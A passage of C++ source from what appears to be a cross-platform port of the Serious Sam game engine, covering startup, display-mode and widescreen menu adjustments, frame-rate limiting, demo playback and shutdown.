FLOAT _fFragScorerHeightAdjuster; #endif extern FLOAT _fBigStartJ; //Position of contents below large font title extern FLOAT _fBigSizeJ; extern FLOAT _fMediumSizeJ; extern FLOAT _fNoStartI; extern FLOAT _fNoSizeI; extern FLOAT _fNoSpaceI; extern FLOAT _fNoUpStartJ; //Postiion of contents without large font title extern FLOAT _fNoDownStartJ; extern FLOAT _fNoSizeJ; // application state variables __extern BOOL _bRunning = TRUE; __extern BOOL _bQuitScreen = TRUE; __extern BOOL bMenuActive = FALSE; __extern BOOL bMenuRendering = FALSE; extern BOOL _bDefiningKey; static BOOL _bReconsiderInput = FALSE; __extern PIX _pixDesktopWidth = 0; // desktop width when started (for some tests) static INDEX sam_iMaxFPSActive = 500; static INDEX sam_iMaxFPSInactive = 10; static INDEX sam_bPauseOnMinimize = TRUE; // auto-pause when window has been minimized __extern INDEX sam_bWideScreen = FALSE; __extern FLOAT sam_fPlayerOffset = 0.0f; // display mode settings __extern INDEX sam_bFullScreenActive = FALSE; __extern INDEX sam_bBorderLessActive = FALSE; __extern INDEX sam_iScreenSizeI = 1024; // current size of the window __extern INDEX sam_iScreenSizeJ = 768; // current size of the window __extern INDEX sam_iAspectSizeI = 16; // __extern INDEX sam_iAspectSizeJ = 9; // __extern INDEX sam_iDisplayDepth = 0; // 0==default, 1==16bit, 2==32bit __extern INDEX sam_iDisplayAdapter = 0; __extern INDEX sam_iGfxAPI = 0; // 0==OpenGL __extern INDEX sam_bFirstStarted = FALSE; __extern FLOAT sam_tmDisplayModeReport = 5.0f; __extern INDEX sam_bShowAllLevels = FALSE; __extern INDEX sam_bMentalActivated = FALSE; // network settings __extern CTString sam_strNetworkSettings = ""; // command line __extern CTString sam_strCommandLine = ""; // 0...app started for the first time // 1...all ok // 2...automatic fallback static INDEX _iDisplayModeChangeFlag = 0; static TIME _tmDisplayModeChanged = 100.0f; // when display mode was last changed // rendering preferences for automatic settings __extern INDEX sam_iVideoSetup = 1; // 0==speed, 1==normal, 2==quality, 3==custom // automatic adjustment of audio quality __extern BOOL sam_bAutoAdjustAudio = TRUE; __extern INDEX sam_bAutoPlayDemos = TRUE; static INDEX _bInAutoPlayLoop = TRUE; // menu calling __extern INDEX sam_bMenuSave = FALSE; __extern INDEX sam_bMenuLoad = FALSE; __extern INDEX sam_bMenuControls = FALSE; __extern INDEX sam_bMenuHiScore = FALSE; __extern INDEX sam_bToggleConsole = FALSE; __extern INDEX sam_iStartCredits = FALSE; // for mod re-loading __extern CTFileName _fnmModToLoad = CTString(""); __extern CTString _strModServerJoin = CTString(""); __extern CTString _strURLToVisit = CTString(""); static char _strExePath[MAX_PATH] = ""; ENGINE_API extern INDEX sys_iSysPath; // state variables fo addon execution // 0 - nothing // 1 - start (invoke console) // 2 - console invoked, waiting for one redraw __extern INDEX _iAddonExecState = 0; __extern CTFileName _fnmAddonToExec = CTString(""); // logo textures static CTextureObject _toLogoCT; static CTextureObject _toLogoODI; static CTextureObject _toLogoEAX; __extern CTextureObject *_ptoLogoCT = NULL; __extern CTextureObject *_ptoLogoODI = NULL; __extern CTextureObject *_ptoLogoEAX = NULL; #ifdef FIRST_ENCOUNTER // First Encounter CTString sam_strVersion = "1.10"; CTString sam_strModName = TRANS("- T H E F I R S T E N C O U N T E R -"); #if _SE_DEMO CTString sam_strFirstLevel = "Levels\\KarnakDemo.wld"; #else CTString sam_strFirstLevel = "Levels\\01_Hatshepsut.wld"; #endif CTString sam_strIntroLevel = "Levels\\Intro.wld"; CTString sam_strGameName = "serioussam"; CTString sam_strTechTestLevel = "Levels\\TechTest.wld"; CTString sam_strTrainingLevel = "Levels\\KarnakDemo.wld"; #else // Second Encounter CTString sam_strVersion = "1.10"; CTString sam_strModName = TRANS("- T H E S E C O N D E N C O U N T E R -"); CTString sam_strFirstLevel = "Levels\\LevelsMP\\1_0_InTheLastEpisode.wld"; CTString sam_strIntroLevel = "Levels\\LevelsMP\\Intro.wld"; CTString sam_strGameName = "serioussamse"; CTString sam_strTechTestLevel = "Levels\\LevelsMP\\Technology\\TechTest.wld"; CTString sam_strTrainingLevel = "Levels\\KarnakDemo.wld"; #endif ENGINE_API extern INDEX snd_iFormat; // main window canvas CDrawPort *pdp; CDrawPort *pdpNormal; CDrawPort *pdpWideScreen; CViewPort *pvpViewPort; HINSTANCE _hInstance; static void PlayDemo(void* pArgs) { CTString strDemoFilename = *NEXTARGUMENT(CTString*); _gmMenuGameMode = GM_DEMO; CTFileName fnDemo = "demos\\" + strDemoFilename + ".dem"; extern BOOL LSLoadDemo(const CTFileName &fnm); LSLoadDemo(fnDemo); } static void ApplyRenderingPreferences(void) { ApplyGLSettings(TRUE); } extern void ApplyVideoMode(void) { StartNewMode( (GfxAPIType)sam_iGfxAPI, sam_iDisplayAdapter, sam_iScreenSizeI, sam_iScreenSizeJ, sam_iAspectSizeI, sam_iAspectSizeJ, (enum DisplayDepth)sam_iDisplayDepth, sam_bFullScreenActive, sam_bBorderLessActive); } static void BenchMark(void) { _pGfx->Benchmark(pvpViewPort, pdp); } static void QuitGame(void) { _bRunning = FALSE; _bQuitScreen = FALSE; } // check if another app is already running // !!! FIXME: rcg01042002 Actually, I've abstracted this code, but it didn't // !!! FIXME: rcg01042002 really seem to care if there was another copy // !!! FIXME: rcg01042002 running before anyhow. What SHOULD be done is // !!! FIXME: rcg01042002 we should see if the lockfile exists, and if not // !!! FIXME: rcg01042002 create it and write our process ID in it. Then, if // !!! FIXME: rcg01042002 another copy of Serious Sam is run, it sees the // !!! FIXME: rcg01042002 file exists, opens it for reading, gets the process // !!! FIXME: rcg01042002 ID, and sees if that process is still running. If // !!! FIXME: rcg01042002 so, the second copy of the game should abort. // !!! FIXME: rcg01042002 If the process ID isn't running, recreate the file // !!! FIXME: rcg01042002 and THEN give the warning about not shutting down // !!! FIXME: rcg01042002 properly last time. At exit, delete the file. // !!! FIXME: rcg01042002 This is all platform independent except for the // !!! FIXME: rcg01042002 method of determining the current process ID and // !!! FIXME: rcg01042002 determining if a given process ID is still running, // !!! FIXME: rcg01042002 and those are easy abstractions. #ifdef PLATFORM_UNIX static CTFileName _fnmLock; static FILE *_hLock = NULL; static void DirectoryLockOn(void) { // create lock filename _fnmLock = _fnmUserDir + "SeriousSam.loc"; // try to open lock file if (_pFileSystem->Exists(_fnmLock)) CPrintF(TRANSV("WARNING: SeriousSam didn't shut down properly last time!\n")); _hLock = fopen(_fnmLock, "w"); if (_hLock == NULL) { FatalError(TRANS("Failed to create lockfile %s! (%s)"), (const char *) _fnmLock, (const char *)strerror(errno)); } } static void DirectoryLockOff(void) { // if lock is open if (_hLock!=NULL) { fclose(_hLock); _hLock = NULL; } unlink(_fnmLock); } #else // check if another app is already running static HANDLE _hLock = NULL; static CTFileName _fnmLock; static void DirectoryLockOn(void) { // create lock filename _fnmLock = _fnmApplicationPath + "SeriousSam.loc"; // try to open lock file _hLock = CreateFileA( _fnmLock, GENERIC_WRITE, 0/*no sharing*/, NULL, // pointer to security attributes CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE, // file attributes NULL); // if failed if (_hLock == NULL || GetLastError() != 0) { // report warning CPrintF(TRANS("WARNING: SeriousSam didn't shut down properly last time!\n")); } } static void DirectoryLockOff(void) { // if lock is open if (_hLock != NULL) { // close it CloseHandle(_hLock); } } #endif void End(void); // automaticaly manage input enable/disable toggling static BOOL _bInputEnabled = FALSE; void UpdateInputEnabledState(void) { // do nothing if window is invalid if( _hwndMain==NULL) return; // input should be enabled if application is active // and no menu is active and no console is active BOOL bShouldBeEnabled = (!IsIconic(_hwndMain) && !bMenuActive && _pGame->gm_csConsoleState==CS_OFF && (_pGame->gm_csComputerState==CS_OFF || _pGame->gm_csComputerState==CS_ONINBACKGROUND)) || _bDefiningKey; // if should be turned off if( (!bShouldBeEnabled && _bInputEnabled) || _bReconsiderInput) { // disable it and remember new state _pInput->DisableInput(); _bInputEnabled = FALSE; } // if should be turned on if( bShouldBeEnabled && !_bInputEnabled) { // enable it and remember new state _pInput->EnableInput(_hwndMain); _bInputEnabled = TRUE; } _bReconsiderInput = FALSE; } // automaticaly manage pause toggling static void UpdatePauseState(void) { BOOL bShouldPause = (_gmRunningGameMode==GM_SINGLE_PLAYER) && (bMenuActive || _pGame->gm_csConsoleState ==CS_ON || _pGame->gm_csConsoleState ==CS_TURNINGON || _pGame->gm_csConsoleState ==CS_TURNINGOFF || _pGame->gm_csComputerState==CS_ON || _pGame->gm_csComputerState==CS_TURNINGON || _pGame->gm_csComputerState==CS_TURNINGOFF); _pNetwork->SetLocalPause(bShouldPause); } // limit current frame rate if neeeded void LimitFrameRate(void) { // do not limit FPS on the Pandora, it's not powerfull enough and doesn't "iconise" games either #if !PLATFORM_NOT_X86 // measure passed time for each loop static CTimerValue tvLast(-1.0f); CTimerValue tvNow = _pTimer->GetHighPrecisionTimer(); TIME tmCurrentDelta = (tvNow-tvLast).GetSeconds(); // limit maximum frame rate sam_iMaxFPSActive = ClampDn( (INDEX)sam_iMaxFPSActive, (INDEX)1); sam_iMaxFPSInactive = ClampDn( (INDEX)sam_iMaxFPSInactive, (INDEX)1); INDEX iMaxFPS = sam_iMaxFPSActive; if( IsIconic(_hwndMain)) iMaxFPS = sam_iMaxFPSInactive; if(_pGame->gm_CurrentSplitScreenCfg==CGame::SSC_DEDICATED) { iMaxFPS = ClampDn(iMaxFPS, (INDEX)60); // never go very slow if dedicated server } TIME tmWantedDelta = 1.0f / iMaxFPS; #ifdef PLATFORM_UNIX if((tmCurrentDelta > 0) && (tmCurrentDelta<tmWantedDelta)) _pTimer->Sleep( (tmWantedDelta-tmCurrentDelta)*1000.0f); #else if (tmCurrentDelta<tmWantedDelta) Sleep((tmWantedDelta - tmCurrentDelta)*1000.0f); #endif // remember new time tvLast = _pTimer->GetHighPrecisionTimer(); #endif } // load first demo void StartNextDemo(void) { if (!sam_bAutoPlayDemos || !_bInAutoPlayLoop) { _bInAutoPlayLoop = FALSE; return; } // skip if no demos if(_lhAutoDemos.IsEmpty()) { _bInAutoPlayLoop = FALSE; return; } // get first demo level and cycle the list CLevelInfo *pli = LIST_HEAD(_lhAutoDemos, CLevelInfo, li_lnNode); pli->li_lnNode.Remove(); _lhAutoDemos.AddTail(pli->li_lnNode); // if intro if (pli->li_fnLevel==CTFileName(sam_strIntroLevel)) { // start intro _gmRunningGameMode = GM_NONE; _pGame->gm_aiStartLocalPlayers[0] = 0; _pGame->gm_aiStartLocalPlayers[1] = -1; _pGame->gm_aiStartLocalPlayers[2] = -1; _pGame->gm_aiStartLocalPlayers[3] = -1; _pGame->gm_strNetworkProvider = "Local"; _pGame->gm_StartSplitScreenCfg = CGame::SSC_PLAY1; _pShell->SetINDEX("gam_iStartDifficulty", CSessionProperties::GD_NORMAL); _pShell->SetINDEX("gam_iStartMode", CSessionProperties::GM_FLYOVER); CUniversalSessionProperties sp; _pGame->SetSinglePlayerSession(sp); _pGame->gm_bFirstLoading = TRUE; if (_pGame->NewGame( sam_strIntroLevel, sam_strIntroLevel, sp)) { _gmRunningGameMode = GM_INTRO; } // if not intro } else { // start the demo _pGame->gm_StartSplitScreenCfg = CGame::SSC_OBSERVER; _pGame->gm_aiStartLocalPlayers[0] = -1; _pGame->gm_aiStartLocalPlayers[1] = -1; _pGame->gm_aiStartLocalPlayers[2] = -1; _pGame->gm_aiStartLocalPlayers[3] = -1; // play the demo _pGame->gm_strNetworkProvider = "Local"; _gmRunningGameMode = GM_NONE; if( _pGame->StartDemoPlay( pli->li_fnLevel)) { _gmRunningGameMode = GM_DEMO; CON_DiscardLastLineTimes(); } } if (_gmRunningGameMode==GM_NONE) { _bInAutoPlayLoop = FALSE; } } BOOL _bCDPathFound = FALSE; BOOL FileExistsOnHD(const CTString &strFile) { FILE *f = fopen(_fnmApplicationPath+strFile, "rb"); if (f!=NULL) { fclose(f); return TRUE; } else { return FALSE; } } void TrimString(char *str) { int i = strlen(str); if (str[i-1]=='\n' || str[i-1]=='\r') { str[i-1]=0; } } // run web browser and view an url void RunBrowser(const char *strUrl) { #ifdef PLATFORM_WIN32 int iResult = (int)ShellExecuteA( _hwndMain, "OPEN", strUrl, NULL, NULL, SW_SHOWMAXIMIZED); if (iResult<32) { // should report error? NOTHING; } #else STUBBED("Should spawn browser here"); #endif } void LoadAndForceTexture(CTextureObject &to, CTextureObject *&pto, const CTFileName &fnm) { try { to.SetData_t(fnm); CTextureData *ptd = (CTextureData*)to.GetData(); ptd->Force( TEX_CONSTANT); ptd = ptd->td_ptdBaseTexture; if( ptd!=NULL) ptd->Force( TEX_CONSTANT); pto = &to; } catch (const char *pchrError) { (void*)pchrError; pto = NULL; } } static char *argv0 = NULL; void InitializeGame(void) { try { #ifdef PLATFORM_UNIX #ifdef STATICALLY_LINKED #define fnmExpanded NULL CPrintF(TRANSV("Loading game library '%s'...\n"), "(statically linked)"); #else CTFileName fnmDLL; #ifndef NDEBUG fnmDLL = "Bin\\Debug\\Game"+_strModExt+"D.dll"; #else fnmDLL = "Bin\\Game"+_strModExt+".dll"; #endif fnmDLL = CDynamicLoader::ConvertLibNameToPlatform(fnmDLL); CTFileName fnmExpanded; ExpandFilePath(EFP_READ | EFP_NOZIPS,fnmDLL,fnmExpanded); CPrintF(TRANSV("Loading game library '%s'...\n"), (const char *)fnmExpanded); #endif const char *err; CDynamicLoader *hGame = CDynamicLoader::GetInstance(fnmExpanded); if ((err = hGame->GetError()) != NULL) { ThrowF_t("%s", err); } CGame* (*GAME_Create)(void) = (CGame* (*)(void))hGame->FindSymbol("GAME_Create"); if ((err = hGame->GetError()) != NULL) { ThrowF_t("%s", err); } #else // WIN32 #ifndef NDEBUG #define GAMEDLL (_fnmApplicationExe.FileDir()+"Game"+_strModExt+"D.dll") #else #define GAMEDLL (_fnmApplicationExe.FileDir()+"Game"+_strModExt+".dll") #endif CTFileName fnmExpanded; ExpandFilePath(EFP_READ, CTString(GAMEDLL), fnmExpanded); CPrintF(TRANS("Loading game library '%s'...\n"), (const char *)fnmExpanded); HMODULE hGame = LoadLibraryA(fnmExpanded); if (hGame == NULL) { ThrowF_t("%s", GetWindowsError(GetLastError())); } CGame* (*GAME_Create)(void) = (CGame* (*)(void))GetProcAddress(hGame, "GAME_Create"); if (GAME_Create == NULL) { ThrowF_t("%s", GetWindowsError(GetLastError())); } #endif _pGame = GAME_Create(); } catch (char *strError) { FatalError("%s", strError); } // init game - this will load persistent symbols _pGame->Initialize(CTString("Data\\SeriousSam.gms")); // save executable path and sys var. #ifdef PLATFORM_UNIX _pFileSystem->GetExecutablePath(_strExePath, sizeof (_strExePath)-1); _pFileSystem->GetExecutablePath(_strExePath, sizeof (_strExePath)-1); #endif } #ifdef PLATFORM_UNIX static void atexit_sdlquit(void) { static bool firsttime = true; if (firsttime) { firsttime = false; SDL_Quit(); } } #endif //#### SetAdjusters() void SetAdjusters() { if (pdp == NULL) return; float ratio = (float)pdp->GetWidth() / (float)pdp->GetHeight(); if (ratio >= 1.32f && ratio <= 1.34f) //4:3 { _fBigSizeJ = 0.050f; _fMediumSizeJ = 0.03f; //medium font row size _fBigStartJ = 0.40f; //Position of the contents below large font title _fNoUpStartJ = 0.25f; //Postiion of contents without large font title _fNoDownStartJ = 0.44f; _fGlobalTopAdjuster = 0.12f; _fGlobalListAdjuster = 0.55f; _fGlobalTipAdjuster = 0.90f; _fGlobalInfoAdjuster = 0.80f; _fGlobalProfileAdjuster = 0.75f; _fGlobalOptionsAdjuster = 0.45f; _fGlobalModAdjuster = 0.55f; _fGlobalButtonAdjuster = 1.20f; //Menu items and buttons offset _fWeaponFOVAdjuster = 1.0f; //Field of View for weapon _fPlayerFOVAdjuster = 1.0f; //Field of View for player _fGlobalProfileFOVAdjuster = 33.0f; _fArmorHeightAdjuster = 0.7f; _fFragScorerHeightAdjuster = 0.75f; _fMenuPlayerProfileAdjuster = 0.38f; }else if (ratio >= 1.2f && ratio <= 1.26f) //5:4 { _fBigSizeJ = 0.050f; _fMediumSizeJ = 0.03f; //medium font row size _fBigStartJ = 0.40f; //Position of the contents below large font title _fNoUpStartJ = 0.25f; //Postiion of contents without large font title _fNoDownStartJ = 0.44f; _fGlobalTopAdjuster = 0.12f; _fGlobalListAdjuster = 0.55f; _fGlobalTipAdjuster = 0.90f; _fGlobalInfoAdjuster = 0.80f; _fGlobalProfileAdjuster = 0.75f; _fGlobalOptionsAdjuster = 0.45f; _fGlobalModAdjuster = 0.55f; _fGlobalButtonAdjuster = 1.20f; //Menu items and buttons offset _fWeaponFOVAdjuster = 1.0f; //Field of View for weapon _fPlayerFOVAdjuster = 1.0f; //Field of View for player _fGlobalProfileFOVAdjuster = 33.0f; _fArmorHeightAdjuster = 0.7f; _fFragScorerHeightAdjuster = 0.75f; _fMenuPlayerProfileAdjuster = 0.38f; }else if (ratio >= 1.76f && ratio <= 1.78f) //16:9 { _fBigSizeJ = 0.060f; _fMediumSizeJ = 0.04f; //medium font row size _fBigStartJ = 0.40f; //Position of the contents below large font title _fNoUpStartJ = 0.25f; //Postiion of contents without large font title _fNoDownStartJ = 0.44f; _fGlobalTopAdjuster = 0.15f; _fGlobalListAdjuster = 0.45f; _fGlobalTipAdjuster = 0.90f; _fGlobalInfoAdjuster = 0.80f; _fGlobalProfileAdjuster = 0.60f; _fGlobalOptionsAdjuster = 0.45f; _fGlobalModAdjuster = 0.65f; _fGlobalButtonAdjuster = 1.20f; _fWeaponFOVAdjuster = 1.25f; //Field of View for weapon _fPlayerFOVAdjuster = 1.15f; //Field of View for player _fArmorHeightAdjuster = 0.835f; _fFragScorerHeightAdjuster = 1.5f; _fGlobalProfileFOVAdjuster = 35.0f; _fMenuPlayerProfileAdjuster = 0.35f; }else if (ratio >= 1.5 && ratio <= 1.70) //16:10 { _fBigSizeJ = 0.050f; _fMediumSizeJ = 0.03f; //medium font row size _fBigStartJ = 0.40f; //Position of the contents below large font title _fNoUpStartJ = 0.25f; //Postiion of contents without large font title _fNoDownStartJ = 0.44f; _fGlobalTopAdjuster = 0.15f; _fGlobalListAdjuster = 0.45f; _fGlobalTipAdjuster = 0.90f; _fGlobalInfoAdjuster = 0.80f; _fGlobalProfileAdjuster = 0.60f; _fGlobalOptionsAdjuster = 0.45f; _fGlobalModAdjuster = 0.55f; _fGlobalButtonAdjuster = 1.20f; _fWeaponFOVAdjuster = 1.15f; //Field of View for weapon _fPlayerFOVAdjuster = 1.10f; //Field of View for player _fGlobalProfileFOVAdjuster = 35.0f; _fArmorHeightAdjuster = 0.78f; _fFragScorerHeightAdjuster = 1.17f; _fMenuPlayerProfileAdjuster = 0.32f; }else if (ratio >= 2.32 && ratio <= 2.34) //21:9 { _fBigSizeJ = 0.076f; _fMediumSizeJ = 0.04f; //medium font row size _fBigStartJ = 0.25f; //Position of the contents below large font title _fNoUpStartJ = 0.25f; //Postiion of contents without large font title _fNoDownStartJ = 0.25f; _fGlobalTopAdjuster = 0.19f; _fGlobalListAdjuster = 0.75f; _fGlobalTipAdjuster = 0.90f; _fGlobalInfoAdjuster = 0.90f; _fGlobalProfileAdjuster = 0.70f; _fGlobalOptionsAdjuster = 0.75f; _fGlobalModAdjuster = 1.05f; _fGlobalButtonAdjuster = 1.0f; _fWeaponFOVAdjuster = 1.55f; //Field of View for weapon _fPlayerFOVAdjuster = 1.35f; //Field of View for player _fGlobalProfileFOVAdjuster = 45.0f; _fArmorHeightAdjuster = 1.0f; _fFragScorerHeightAdjuster = 2.35f; _fMenuPlayerProfileAdjuster = 0.1f; } ReInitializeMenus(); } //##### SetAdjusters() end BOOL Init( HINSTANCE hInstance, int nCmdShow, CTString strCmdLine) { #ifdef PLATFORM_UNIX if (SDL_Init(SDL_INIT_VIDEO | SDL_INIT_AUDIO) == -1) FatalError("SDL_Init(VIDEO|AUDIO) failed. Reason: [%s].", SDL_GetError()); atexit(atexit_sdlquit); SDL_Init(SDL_INIT_JOYSTICK); // don't care if this fails. #endif #ifdef PLATFORM_PANDORA // enable Cortex A8 RunFast int v = 0; __asm__ __volatile__ ( "vmrs %0, fpscr\n" "orr %0, #((1<<25)|(1<<24))\n" // default NaN, flush-to-zero "vmsr fpscr, %0\n" //"vmrs %0, fpscr\n" : "=&r"(v)); #endif _hInstance = hInstance; ShowSplashScreen(hInstance); // remember desktop width #ifdef PLATFORM_UNIX _pixDesktopWidth = DetermineDesktopWidth(); #else _pixDesktopWidth = ::GetSystemMetrics(SM_CXSCREEN); #endif // prepare main window MainWindow_Init(); OpenMainWindowInvisible(); // parse command line before initializing engine ParseCommandLine(strCmdLine); // initialize engine #ifdef PLATFORM_UNIX SE_InitEngine(argv0, sam_strGameName); #else SE_InitEngine(sam_strGameName); #endif SE_LoadDefaultFonts(); // now print the output of command line parsing CPrintF("%s", (const char *) cmd_strOutput); // lock the directory DirectoryLockOn(); // load all translation tables InitTranslation(); try { AddTranslationTablesDir_t(CTString("Data\\Translations\\"), CTString("*.txt")); FinishTranslationTable(); } catch (const char *strError) { FatalError("%s", strError); } // always disable all warnings when in serious sam _pShell->Execute( "con_bNoWarnings=1;"); // declare shell symbols _pShell->DeclareSymbol("user void PlayDemo(CTString);", (void *) &PlayDemo); _pShell->DeclareSymbol("persistent INDEX sam_bFullScreen;", (void *) &sam_bFullScreenActive); _pShell->DeclareSymbol("persistent INDEX sam_bBorderLess;", (void *) &sam_bBorderLessActive); _pShell->DeclareSymbol("persistent INDEX sam_iScreenSizeI;", (void *) &sam_iScreenSizeI); _pShell->DeclareSymbol("persistent INDEX sam_iScreenSizeJ;", (void *) &sam_iScreenSizeJ); _pShell->DeclareSymbol("persistent INDEX sam_iAspectSizeI;", (void *) &sam_iAspectSizeI); _pShell->DeclareSymbol("persistent INDEX sam_iAspectSizeJ;", (void *) &sam_iAspectSizeJ); _pShell->DeclareSymbol("persistent INDEX sam_iDisplayDepth;", (void *) &sam_iDisplayDepth); _pShell->DeclareSymbol("persistent INDEX sam_iDisplayAdapter;", (void *) &sam_iDisplayAdapter); _pShell->DeclareSymbol("persistent INDEX sam_iGfxAPI;", (void *) &sam_iGfxAPI); _pShell->DeclareSymbol("persistent INDEX sam_bFirstStarted;", (void *) &sam_bFirstStarted); _pShell->DeclareSymbol("persistent INDEX sam_bAutoAdjustAudio;", (void *) &sam_bAutoAdjustAudio); _pShell->DeclareSymbol("persistent user INDEX sam_bWideScreen;", (void *) &sam_bWideScreen); _pShell->DeclareSymbol("persistent user FLOAT sam_fPlayerOffset;", (void *) &sam_fPlayerOffset); _pShell->DeclareSymbol("persistent user INDEX sam_bAutoPlayDemos;", (void *) &sam_bAutoPlayDemos); _pShell->DeclareSymbol("persistent user INDEX sam_iMaxFPSActive;", (void *) &sam_iMaxFPSActive); _pShell->DeclareSymbol("persistent user INDEX sam_iMaxFPSInactive;", (void *) &sam_iMaxFPSInactive); _pShell->DeclareSymbol("persistent user INDEX sam_bPauseOnMinimize;", (void *) &sam_bPauseOnMinimize); _pShell->DeclareSymbol("persistent user FLOAT sam_tmDisplayModeReport;", (void *) &sam_tmDisplayModeReport); _pShell->DeclareSymbol("persistent user CTString sam_strNetworkSettings;", (void *) &sam_strNetworkSettings); _pShell->DeclareSymbol("persistent user CTString sam_strIntroLevel;", (void *) &sam_strIntroLevel); _pShell->DeclareSymbol("persistent user CTString sam_strGameName;", (void *) &sam_strGameName); _pShell->DeclareSymbol("user CTString sam_strVersion;", (void *) &sam_strVersion); _pShell->DeclareSymbol("user CTString sam_strFirstLevel;", (void *) &sam_strFirstLevel); _pShell->DeclareSymbol("user CTString sam_strModName;", (void *) &sam_strModName); _pShell->DeclareSymbol("persistent INDEX sam_bShowAllLevels;", (void *) &sam_bShowAllLevels); _pShell->DeclareSymbol("persistent INDEX sam_bMentalActivated;", (void *) &sam_bMentalActivated); _pShell->DeclareSymbol("user void Quit(void);", (void *) &QuitGame); _pShell->DeclareSymbol("persistent user INDEX sam_iVideoSetup;", (void *) &sam_iVideoSetup); _pShell->DeclareSymbol("user void ApplyRenderingPreferences(void);", (void *) &ApplyRenderingPreferences); _pShell->DeclareSymbol("user void ApplyVideoMode(void);", (void *) &ApplyVideoMode); _pShell->DeclareSymbol("user void Benchmark(void);", (void *) &BenchMark); _pShell->DeclareSymbol("user INDEX sam_bMenuSave;", (void *) &sam_bMenuSave); _pShell->DeclareSymbol("user INDEX sam_bMenuLoad;", (void *) &sam_bMenuLoad); _pShell->DeclareSymbol("user INDEX sam_bMenuControls;", (void *) &sam_bMenuControls); _pShell->DeclareSymbol("user INDEX sam_bMenuHiScore;", (void *) &sam_bMenuHiScore); _pShell->DeclareSymbol("user INDEX sam_bToggleConsole;",(void *) &sam_bToggleConsole); _pShell->DeclareSymbol("INDEX sam_iStartCredits;", (void *) &sam_iStartCredits); InitializeGame(); _pNetwork->md_strGameID = sam_strGameName; _pGame->LCDInit(); if( sam_bFirstStarted) { InfoMessage("%s", TRANS( "SeriousSam is starting for the first time.\n" "If you experience any problems, please consult\n" "ReadMe file for troubleshooting information.")); } // initialize sound library snd_iFormat = Clamp( snd_iFormat, (INDEX)CSoundLibrary::SF_NONE, (INDEX)CSoundLibrary::SF_44100_16); _pSound->SetFormat( (enum CSoundLibrary::SoundFormat)snd_iFormat); if (sam_bAutoAdjustAudio) { _pShell->Execute("include \"Scripts\\Addons\\SFX-AutoAdjust.ini\""); } // execute script given on command line if (cmd_strScript!="") { CPrintF("Command line script: '%s'\n", (const char *) cmd_strScript); CTString strCmd; strCmd.PrintF("include \"%s\"", (const char *) cmd_strScript); _pShell->Execute(strCmd); } //#################################################################33 //In order to fix completely fucked up menu layout (when wide screen is used) //and since dumb fucks from croteam defined fucking 200000 constats for each letter on the fucking screen... //we'll need to fix some of them for current resolution.... SetAdjusters(); //#################################################################33 // load logo textures LoadAndForceTexture(_toLogoCT, _ptoLogoCT, CTFILENAME("Textures\\Logo\\LogoCT.tex")); LoadAndForceTexture(_toLogoODI, _ptoLogoODI, CTFILENAME("Textures\\Logo\\GodGamesLogo.tex")); LoadAndForceTexture(_toLogoEAX, _ptoLogoEAX, CTFILENAME("Textures\\Logo\\LogoEAX.tex")); LoadStringVar(CTString("Data\\Var\\Sam_Version.var"), sam_strVersion); LoadStringVar(CTString("Data\\Var\\ModName.var"), sam_strModName); CPrintF(TRANSV("Serious Sam version: %s\n"), (const char *) sam_strVersion); CPrintF(TRANSV("Active mod: %s\n"), (const char *) sam_strModName); InitializeMenus(); // if there is a mod if (_fnmMod!="") { // execute the mod startup script _pShell->Execute(CTString("include \"Scripts\\Mod_startup.ini\";")); } // init gl settings module InitGLSettings(); // init level-info subsystem LoadLevelsList(); LoadDemosList(); // apply application mode StartNewMode( (GfxAPIType)sam_iGfxAPI, sam_iDisplayAdapter, sam_iScreenSizeI, sam_iScreenSizeJ, sam_iAspectSizeI, sam_iAspectSizeJ, (enum DisplayDepth)sam_iDisplayDepth, sam_bFullScreenActive ,sam_bBorderLessActive); // set default mode reporting if( sam_bFirstStarted) { _iDisplayModeChangeFlag = 0; sam_bFirstStarted = FALSE; } HideSplashScreen(); if (cmd_strPassword!="") { _pShell->SetString("net_strConnectPassword", cmd_strPassword); } // if connecting to server from command line if (cmd_strServer!="") { CTString strPort = ""; if (cmd_iPort>0) { _pShell->SetINDEX("net_iPort", cmd_iPort); strPort.PrintF(":%d", cmd_iPort); } CPrintF(TRANSV("Command line connection: '%s%s'\n"), (const char *) cmd_strServer, (const char *) strPort); // go to join menu _pGame->gam_strJoinAddress = cmd_strServer; if (cmd_bQuickJoin) { extern void JoinNetworkGame(void); JoinNetworkGame(); } else { StartMenus("join"); } // if starting world from command line } else if (cmd_strWorld!="") { CPrintF(TRANSV("Command line world: '%s'\n"), (const char *) cmd_strWorld); // try to start the game with that level try { if (cmd_iGoToMarker>=0) { CPrintF(TRANSV("Command line marker: %d\n"), cmd_iGoToMarker); CTString strCommand; strCommand.PrintF("cht_iGoToMarker = %d;", cmd_iGoToMarker); _pShell->Execute(strCommand); } _pGame->gam_strCustomLevel = cmd_strWorld; if (cmd_bServer) { extern void StartNetworkGame(void); StartNetworkGame(); } else { extern void StartSinglePlayerGame(void); StartSinglePlayerGame(); } } catch (const char *strError) { CPrintF(TRANSV("Cannot start '%s': '%s'\n"), (const char *) cmd_strWorld, (const char *) strError); } // if no relevant starting at command line } else { StartNextDemo(); } return TRUE; } void End(void) { _pGame->DisableLoadingHook(); // cleanup level-info subsystem ClearLevelsList(); ClearDemosList(); // destroy the main window and its canvas if (pvpViewPort!=NULL) { _pGfx->DestroyWindowCanvas( pvpViewPort); pvpViewPort = NULL; pdpNormal = NULL; } CloseMainWindow(); MainWindow_End(); DestroyMenus(); _pGame->End(); _pGame->LCDEnd(); // unlock the directory DirectoryLockOff(); SE_EndEngine(); #if PLATFORM_UNIX SDL_Quit(); #endif } // print display mode info if needed void PrintDisplayModeInfo(void) { // skip if timed out if( _pTimer->GetRealTimeTick() > (_tmDisplayModeChanged+sam_tmDisplayModeReport)) return; // cache some general vars SLONG slDPWidth = pdp->GetWidth(); SLONG slDPHeight = pdp->GetHeight(); if( pdp->IsDualHead()) slDPWidth/=2; CDisplayMode dm; dm.dm_pixSizeI = slDPWidth; dm.dm_pixSizeJ = slDPHeight; // determine proper text scale for statistics display FLOAT fTextScale = (FLOAT)slDPWidth/640.0f; // get resolution CTString strRes; extern CTString _strPreferencesDescription; strRes.PrintF( "%dx%dx%s", slDPWidth, slDPHeight, (const char *) _pGfx->gl_dmCurrentDisplayMode.DepthString()); if( dm.IsDualHead()) strRes += TRANS(" DualMonitor"); if( dm.IsWideScreen()) strRes += TRANS(" WideScreen"); if( _pGfx->gl_eCurrentAPI==GAT_OGL) strRes += " (OpenGL)"; #ifdef PLATFORM_WIN32 